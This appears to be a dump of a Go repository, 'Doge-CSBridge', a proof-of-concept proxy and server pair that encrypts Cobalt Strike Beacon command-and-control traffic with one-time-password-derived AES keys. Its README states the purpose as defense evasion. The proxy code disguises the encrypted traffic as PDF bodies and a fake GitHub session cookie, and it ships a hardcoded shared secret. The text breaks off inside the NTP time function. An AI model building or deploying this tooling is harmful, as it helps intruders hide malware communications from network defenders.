├── GAinit ├── gainit.go ├── go.mod └── init ├── README.md ├── proxy ├── cipher.go ├── go.mod ├── go.sum ├── main.go └── otp.go └── server ├── cipher.go ├── go.mod ├── otp.go ├── server └── server.go /GAinit/gainit.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "crypto/hmac" 7 | "crypto/sha1" 8 | "encoding/base32" 9 | "encoding/binary" 10 | "fmt" 11 | "os" 12 | "strings" 13 | "time" 14 | ) 15 | 16 | func hmacSha1(key, data []byte) []byte { 17 | h := hmac.New(sha1.New, key) 18 | if total := len(data); total > 0 { 19 | h.Write(data) 20 | } 21 | return h.Sum(nil) 22 | } 23 | 24 | func base32encode(src []byte) string { 25 | return base32.StdEncoding.EncodeToString(src) 26 | } 27 | 28 | 29 | func main(){ 30 | var buf bytes.Buffer 31 | binary.Write(&buf, binary.BigEndian, time.Now().UnixNano()) 32 | fmt.Println(strings.ToUpper(base32encode(hmacSha1(buf.Bytes(), nil)))) 33 | fmt.Print("Press 'Enter' to continue...") 34 | bufio.NewReader(os.Stdin).ReadBytes('\n') 35 | } -------------------------------------------------------------------------------- /GAinit/go.mod: -------------------------------------------------------------------------------- 1 | module init 2 | 3 | go 1.17 4 | -------------------------------------------------------------------------------- /GAinit/init: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/timwhitez/Doge-CSBridge/fbd0e46eebff19ec13e43fc6e165dfc7695590f7/GAinit/init -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Doge-CSBridge 2 | CS http Dynamic Encrypt Bridge. 3 | 4 | - 🐸Frog For Automatic Scan 5 | 6 | - 🐶Doge For Defense Evasion&Offensive Security 7 | 8 | - 安全本逆天而行,猝死很正常,请勿用作授权之外非法用途 9 | 10 | ## 0x00 引 11 | 12 | 流量层面的对抗处于地位,而Cobalt Strike的profile配置文件虽然给予了使用者很大的灵活性去做流量混淆,但仍然会存在特征。 13 | 14 | 前段时间和朋友聊到了流量加密 15 | 16 | 是否存在一种较为简单的方式,能够满足在不传递密钥的情况下,客户端与服务端动态密钥的同步生成,以及丢包不影响密钥的同步。 17 | 18 | ## 0x01 构思 19 | 20 | 结合上述,联想到了前段时间做的golang对接Google Authenticator,将OTP验证码作为对称加密密钥是一种可行的方案。整体的方案规划如下: 21 | 22 | - Cobalt Strike Beacon挂本地的proxy加密外连 23 | - server端收到Beacon的加密数据后解密并传给teamserver 24 | - teamserver处理产生response给server 25 | - server加密response发送给beacon 26 | - beacon的proxy将response解密 27 | - proxy和server都内置otp初始secret密钥 28 | 29 | 整体架构如下图: 30 | 31 | ![image](https://user-images.githubusercontent.com/36320909/141474352-32bf7ee7-2391-4f0c-8b77-fee42e637aed.png) 32 | 33 | 代码不完善,默认流量存在无法加密字符,需使用profile对流量进行预处理 34 | 35 | ## 0x02 36 | 37 | 最后实现的截图如下。 38 | 39 | ![image](https://user-images.githubusercontent.com/36320909/141475400-4ec760ab-1b42-4466-80b8-667da38ea7ea.png) 40 | 41 | 42 | 具体实现细节见代码不赘述。 43 | 44 | 仅为概念验证项目。 45 | -------------------------------------------------------------------------------- /proxy/cipher.go: -------------------------------------------------------------------------------- 1 | 2 | package main 3 | 4 | import ( 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/rand" 8 | "crypto/sha256" 9 | "io" 10 | ) 11 | 12 | 13 | 14 | func Sha256(data []byte)[]byte{ 15 | digest:=sha256.New() 16 | digest.Write(data) 17 | return digest.Sum(nil) 18 | } 19 | 20 | 21 | func encrypt(plaintext []byte, key []byte)(cipherText []byte,err2 error){ 22 | 23 | // The key should be 16 bytes (AES-128), 24 bytes (AES-192) or 24 | // 32 bytes (AES-256) 25 | key = Sha256(key) 26 | block, err := aes.NewCipher(key) 27 | if err != nil { 28 | //log.Panic(err) 29 | return nil, err 30 | } 31 | 32 | gcm, err := cipher.NewGCM(block) 33 | if err != nil { 34 | //log.Panic(err) 35 | return nil, err 36 | } 37 | 38 | // Never use more than 2^32 random nonces with a given key 39 | // because of the risk of repeat. 40 | nonce := make([]byte, gcm.NonceSize()) 41 | if _, err := io.ReadFull(rand.Reader, nonce); err != nil { 42 | //log.Fatal(err) 43 | return nil, err 44 | } 45 | 46 | ciphertext := gcm.Seal(nonce, nonce, plaintext, nil) 47 | return ciphertext,nil 48 | } 49 | 50 | 51 | 52 | func decrypt(ciphertext []byte, key []byte)(rawText []byte,err2 error){ 53 | key = Sha256(key) 54 | block, err := aes.NewCipher(key) 55 | if err != nil { 56 | //log.Panic(err) 57 | return nil, err 58 | } 59 | 60 | gcm, err := cipher.NewGCM(block) 61 | if err != nil { 62 | //log.Panic(err) 63 | return nil, err 64 | } 65 | nonce := ciphertext[:gcm.NonceSize()] 66 | ciphertext = ciphertext[gcm.NonceSize():] 67 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) 68 | if err != nil { 69 | //log.Panic(err) 70 | return nil, err 71 | } 72 | 73 | //err = ioutil.WriteFile("plaintext.exe", plaintext, 0777) 74 | //if err != nil { 75 | // log.Panic(err) 76 | //} 77 | 78 | return plaintext,nil 79 | } -------------------------------------------------------------------------------- /proxy/go.mod: -------------------------------------------------------------------------------- 1 | module martian 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/google/martian v2.1.0+incompatible 7 | github.com/google/martian/v3 v3.2.1 8 | github.com/sirupsen/logrus v1.8.1 9 | ) 10 | 11 | require ( 12 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7 // indirect 13 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 // indirect 14 | golang.org/x/text v0.3.0 // indirect 15 | ) 16 | -------------------------------------------------------------------------------- /proxy/go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 3 | github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= 4 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 5 | github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= 6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 8 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 9 | github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 10 | github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 11 | github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= 12 | github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= 13 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 14 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 15 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 16 | github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 17 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= 18 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= 19 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= 20 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= 21 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= 22 | github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= 23 | github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 24 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 25 | github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= 26 | github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= 27 | github.com/golang/snappy v0.0.3 h1:fHPg5GQYlCeLIPB9BZqMVR5nR9A+IM5zcgeTdjMYmLA= 28 | github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 29 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 30 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 31 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 32 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 33 | github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 34 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 35 | github.com/google/martian v2.1.0+incompatible h1:/CP5g8u/VJHijgedC/Legn3BAbAaWPgecwXBIDzw5no= 36 | github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= 37 | github.com/google/martian/v3 v3.2.1 h1:d8MncMlErDFTwQGBK1xhv026j9kqhvw1Qv9IbWT1VLQ= 38 | github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= 39 | github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 40 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 41 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 42 | github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= 43 | github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE= 44 | github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= 45 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 46 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 47 | github.com/stretchr/testify v1.5.1 h1:nOGnQDM7FYENwehXlg/kFVnos3rEvtKTjRvOWSzb6H4= 48 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 49 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 50 | golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 51 | golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= 52 | golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= 53 | golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= 54 | golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 55 | golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 56 | golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 57 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 58 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7 h1:rTIdg5QFRR7XCaK4LCjBiPbx8j4DQRpdYMnGn/bJUEU= 59 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 60 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 61 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 62 | golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 63 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 64 | golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 65 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 66 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4= 67 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 68 | golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= 69 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 70 | golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 71 | golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= 72 | golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 73 | golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 74 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 75 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 76 | google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 77 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 78 | google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= 79 | google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013 h1:+kGHl1aib/qcwaRi1CbqBZ1rk19r85MNUf8HaBghugY= 80 | google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= 81 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 82 | google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= 83 | google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= 84 | google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 85 | google.golang.org/grpc v1.37.0 h1:uSZWeQJX5j11bIQ4AJoj+McDBo29cY1MCoC1wO3ts+c= 86 | google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= 87 | google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= 88 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 89 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 90 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 91 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 92 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 93 | google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 94 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 95 | google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 96 | google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= 97 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 98 | google.golang.org/protobuf v1.26.0 h1:bxAC2xTBsZGibn2RTntX0oH50xLsqy1OxA9tTL3p/lk= 99 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= 100 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 101 | gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= 102 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 103 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 104 | honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 105 | -------------------------------------------------------------------------------- /proxy/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "encoding/base64" 6 | "flag" 7 | "fmt" 8 | "io/ioutil" 9 | "net" 10 | "net/http" 11 | "net/url" 12 | "os" 13 | "os/signal" 14 | "strings" 15 | "syscall" 16 | "time" 17 | 18 | "github.com/google/martian/v3" 19 | martianLog "github.com/google/martian/v3/log" 20 | "github.com/google/martian/v3/mitm" 21 | log "github.com/sirupsen/logrus" 22 | ) 23 | 24 | var ( 25 | port = flag.Int("port", 8888, "listen http port") 26 | secret,_ = base64.StdEncoding.DecodeString("Nlc2SUNTTUFRVElBTENVSTcySFQ0R0tXR1NCUVNNQ0U=") 27 | ) 28 | 29 | func init() { 30 | martianLog.SetLevel(martianLog.Error) 31 | flag.Parse() 32 | } 33 | 34 | func main() { 35 | p := martian.NewProxy() 36 | defer p.Close() 37 | 38 | ca, privateKey, _ := mitm.NewAuthority("name", "org", 24*365*time.Hour) 39 | conf, _ := mitm.NewConfig(ca, privateKey) 40 | p.SetMITM(conf) 41 | 42 | //proxy, _ := url.Parse("http://localhost:8080") 43 | //p.SetDownstreamProxy(proxy) 44 | 45 | l, err := net.Listen("tcp", fmt.Sprintf("localhost:%d", *port)) 46 | if err != nil { 47 | log.Fatal(err) 48 | } 49 | log.Infof("starting listen on %s", l.Addr().String()) 50 | 51 | p.SetRequestModifier(new(T)) 52 | 53 | p.SetResponseModifier(new(R)) 54 | 55 | go p.Serve(l) 56 | 57 | sigCh := make(chan os.Signal, 1) 58 | signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) 59 | <-sigCh 60 | } 61 | 62 | 63 | type R struct { 64 | martian.ResponseModifier 65 | } 66 | 67 | func (R) ModifyResponse(resp *http.Response) error { 68 | res := resp 69 | otp := []byte(getotp()) 70 | if res.Body == nil{ 71 | res.Body = http.NoBody 72 | res.ContentLength = 0 73 | *resp = *res 74 | }else{ 75 | b, err := ioutil.ReadAll(resp.Body) //Read html 76 | fmt.Println("encResp: "+string(b)) 77 | if err != nil || string(b) == ""{ 78 | res.Body = http.NoBody 79 | res.ContentLength = 0 80 | *resp = *res 81 | return nil 82 | } 83 | resp.Body.Close() 84 | b64Resp,err := base64.StdEncoding.DecodeString(string(b)[12:]) 85 | if err != nil || string(b64Resp) == ""{ 86 | res.Body = http.NoBody 87 | res.ContentLength = 0 88 | *resp = *res 89 | return nil 90 | } 91 | rawResp,err := decrypt(b64Resp,otp) 92 | if err != nil || string(rawResp) == ""{ 93 | res.Body = http.NoBody 94 | res.ContentLength = 0 95 | *resp = *res 96 | return nil 97 | } 98 | fmt.Println("rawResp: "+string(rawResp)) 99 | body := ioutil.NopCloser(bytes.NewReader(rawResp)) 100 | res.Body = body 101 | res.ContentLength = int64(len(rawResp)) 102 | *resp = *res 103 | } 104 | 105 | return nil 106 | } 107 | 108 | 109 | type T struct { 110 | martian.RequestModifier 111 | } 112 | 113 | func (T) ModifyRequest(req *http.Request) error { 114 | body, _ := ioutil.ReadAll(req.Body) 115 | fmt.Println("rawBody: "+string(body)) 116 | u, _ := url.Parse(req.URL.String()) 117 | 118 | hostu := u.Scheme+"://"+u.Host+"/" 119 | fmt.Println("rawHost: "+hostu) 120 | fmt.Println("rawURI: "+u.Path[1:]) 121 | cipher,_ := encrypt(body,[]byte(getotp())) 122 | 123 | encBody := "%25PDF-1.7+ " + base64.StdEncoding.EncodeToString(cipher) 124 | fmt.Println("encBody: "+encBody) 125 | 126 | uri,_ := encrypt([]byte(u.Path[1:]),[]byte(getotp())) 127 | encodeuri := base64.RawURLEncoding.EncodeToString(uri) 128 | fmt.Println("encURL: "+hostu + encodeuri) 129 | newReq, _ := http.NewRequest(req.Method, hostu + encodeuri, strings.NewReader(encBody)) 130 | 131 | newReq.URL , _ = url.Parse(hostu + encodeuri) 132 | newReq.Header = req.Header 133 | rawCookie := req.Header.Get("Cookie") 134 | fmt.Println("rawCookies: " + rawCookie) 135 | 136 | encCookieByte,_ := encrypt([]byte(rawCookie),[]byte(getotp())) 137 | encCookie := base64.RawURLEncoding.EncodeToString(encCookieByte) 138 | fmt.Println("encCookie: tz=America%2FLos_Angeles; _gh_sess=" + encCookie + "\n\n") 139 | newReq.Header.Set("Cookie", "tz=America%2FLos_Angeles; _gh_sess="+encCookie) 140 | 141 | //newReq.Header.Set("Url", req.URL.String()) 142 | *req = *newReq 143 | return nil 144 | } 145 | -------------------------------------------------------------------------------- /proxy/otp.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/hmac" 6 | "crypto/sha1" 7 | "encoding/base32" 8 | "encoding/binary" 9 | "fmt" 10 | //"io" 11 | "net" 12 | "strings" 13 | "time" 14 | ) 15 | 16 | var firstTime time.Time 17 | 18 | type GoogleAuth struct { 19 | } 20 | 21 | func NewGoogleAuth() *GoogleAuth { 22 | return &GoogleAuth{} 23 | } 24 | 25 | func (this *GoogleAuth) un() int64 { 26 | return firstTime.UnixNano() / 1000 / 30 27 | } 28 | 29 | func (this *GoogleAuth) hmacSha1(key, data []byte) []byte { 30 | h := hmac.New(sha1.New, key) 31 | if total := len(data); total > 0 { 32 | h.Write(data) 33 | } 34 | return h.Sum(nil) 35 | } 36 | 37 | func (this *GoogleAuth) base32encode(src []byte) string { 38 | return base32.StdEncoding.EncodeToString(src) 39 | } 40 | 41 | func (this *GoogleAuth) base32decode(s string) ([]byte, error) { 42 | return base32.StdEncoding.DecodeString(s) 43 | } 44 | 45 | func (this *GoogleAuth) toBytes(value int64) []byte { 46 | var result []byte 47 | mask := int64(0xFF) 48 | shifts := [8]uint16{56, 48, 40, 32, 24, 16, 8, 0} 49 | for _, shift := range shifts { 50 | result = append(result, byte((value>>shift)&mask)) 51 | } 52 | return result 53 | } 54 | 55 | func (this *GoogleAuth) toUint32(bts []byte) uint32 { 56 | return (uint32(bts[0]) << 24) + (uint32(bts[1]) << 16) + 57 | (uint32(bts[2]) << 8) + uint32(bts[3]) 58 | } 59 | 60 | func (this *GoogleAuth) oneTimePassword(key []byte, data []byte) uint32 { 61 | hash := this.hmacSha1(key, data) 62 | offset := hash[len(hash)-1] & 0x0F 63 | hashParts := hash[offset : offset+4] 64 | hashParts[0] = hashParts[0] & 0x7F 65 | number := this.toUint32(hashParts) 66 | return number % 1000000 67 | } 68 | 69 | // 获取秘钥 70 | func (this *GoogleAuth) GetSecret() string { 71 | var buf bytes.Buffer 72 | binary.Write(&buf, binary.BigEndian, this.un()) 73 | return strings.ToUpper(this.base32encode(this.hmacSha1(buf.Bytes(), nil))) 74 | } 75 | 76 | // 获取动态码 77 | func (this *GoogleAuth) GetCode(secret string) (string, error) { 78 | secretUpper := strings.ToUpper(secret) 79 | secretKey, err := this.base32decode(secretUpper) 80 | if err != nil { 81 | return "", err 82 | } 83 | number := this.oneTimePassword(secretKey, this.toBytes(firstTime.Unix()/30)) 84 | return fmt.Sprintf("%06d", number), nil 85 | 86 | } 87 | 88 | // 获取动态码二维码内容 89 | func (this *GoogleAuth) GetQrcode(user, secret string) string { 90 | return fmt.Sprintf("otpauth://totp/%s?secret=%s", user, secret) 91 | } 92 | 93 | // 验证动态码 94 | func (this *GoogleAuth) VerifyCode(secret, code string) (bool, error) { 95 | _code, err := this.GetCode(secret) 96 | fmt.Println(_code, code) 97 | if err != nil { 98 | return false, err 99 | } 100 | return _code == code, nil 101 | } 102 | 103 | var err error 104 | 105 | type ntp_struct struct { 106 | FirstByte, A, B, C uint8 107 | D, E, F uint32 108 | G, H uint64 109 | ReceiveTime uint64 110 | J uint64 111 | } 112 | 113 | var addrs = []string{ 114 | "ntp.aliyun.com:123", 115 | "cn.ntp.org.cn:123", 116 | "time.asia.apple.com:123", 117 | "ntp.neu.edu.cn:123", 118 | "time1.cloud.tencent.com:123", 119 | "ntp1.aliyun.com:123", 120 | "time3.cloud.tencent.com:123", 121 | "ntp4.aliyun.com:123", 122 | } 123 | 124 | func getNTPTime(addr string) (time.Time,error) { 125 | // "ntp1.aliyun.com:123" "cn.ntp.org.cn:123" 126 | sock, _ := net.Dial("udp", addr) 127 | if sock == nil { 128 | return time.Date(1900, 1, 